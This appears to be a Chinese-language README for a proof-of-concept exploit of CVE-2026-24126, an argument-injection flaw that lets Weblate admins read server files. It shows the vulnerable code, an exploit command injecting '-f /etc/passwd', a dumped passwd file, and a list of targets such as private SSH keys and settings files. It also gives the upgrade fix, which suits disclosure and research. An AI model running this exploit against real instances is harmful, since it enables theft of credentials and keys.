发现者: Alejandro Baño · 2026 年 1 月 已确认: Weblate 5.16 发布说明
Weblate 的 SSH 主机密钥管理端点将已认证管理员提供的 host 参数直接传递给 ssh-keyscan,未进行任何清理或参数验证。由于 ssh-keyscan 接受 -f <file> 标志以从文件读取目标主机名,拥有管理员凭据的攻击者可以将该标志作为 host 值注入,从而强制服务器打开任意本地文件。由此产生的错误输出(或标准输出)会原样反射回浏览器中的错误消息块内,从而泄露文件内容。
| 字段 | 值 |
|---|---|
| 目标 | Weblate(自托管实例) |
| 组件 | SSH 密钥管理 — weblate/ssh/views.py · add_host_key() |
| 需要认证 | 是 — Weblate 管理员账户 |
| 受影响版本 | 所有 ≤ 5.15.2 的版本(已在 5.0.2 和 5.15.2 中测试) |
| 影响 | 以 Web 服务器进程用户(weblate、www-data 等)身份读取任意本地文件 |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
host 值直接来自 POST 请求体字段 host,没有允许列表,没有去除前导连字符,也没有在用户提供的值之前添加 -- 参数终止符。这使得攻击者可以注入任意 ssh-keyscan 标志。
ssh-keyscan -f /etc/passwd 将 /etc/passwd 作为主机名列表读取,无法解析每一行,并为每一行产生错误输出。该错误输出通过 CalledProcessError 处理器传播,并显示在 HTTP 响应中的 alert-danger 块内。
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| 标志 | 描述 |
|---|---|
-r / --rhost | Weblate 实例的基础 URL |
-u / --username | 管理员用户名 |
-p / --password | 管理员密码 |
-f / --file | 服务器上要读取的文件路径 |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
任何运行 Weblate 的操作系统用户(通常是 weblate 用户)可读的文件都可以通过单个已认证的 POST 请求被窃取。敏感目标包括:
settings.py、.env、local_settings.py/var/lib/weblate/.ssh/id_rsa更新至 Weblate 5.16.0 或更高版本。 这是 Weblate 团队于 2026 年 2 月 18 日发布的官方修复,该修复在 SSH 主机字段上引入了适当的输入验证。
本仓库仅供教育和授权安全研究使用。请勿对您不拥有或未获得明确书面测试许可的系统使用此工具。作者对任何滥用行为不承担任何责任。